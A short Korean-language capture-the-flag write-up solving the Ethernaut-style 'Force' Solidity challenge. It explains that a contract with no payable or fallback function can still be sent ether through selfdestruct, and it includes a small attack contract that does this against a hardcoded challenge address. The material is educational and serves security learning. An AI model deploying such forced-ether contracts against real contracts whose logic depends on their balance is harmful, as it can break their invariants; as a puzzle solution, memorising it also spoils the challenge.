// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Force {/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/}
이 문제는 컨트렉트에 payable 함수 및 fallback이 구현되어있지 않아 이더를 정상적인 방법으로 받을 수 없는 컨트렉트에 이더를 보내는 문제이다.
강제로 이더를 보낼 수 있는 함수가 존재하는데 selfdestruct(address)
함수이다. 이 함수는 호출되면 컨트렉트가 사라지게 된다. 그 대신 그 컨트렉트에 남아있던 모든 이더를 인자로 넘긴 address에 이더를 강제로 전송하게 된다.
contract attack {
address public target = address(0x4b0446159399C57c3c04aa24927ACB5d99b49eC2);
function atk() public
{
selfdestruct(payable(target));
}
receive() external payable
{
}
}
selfdestruct를 하는 컨트렉트를 만들고 이더를 조금 보내고 atk()
함수를 호출하면 문제 컨트렉트에 이더 잔액을 높일 수 있다.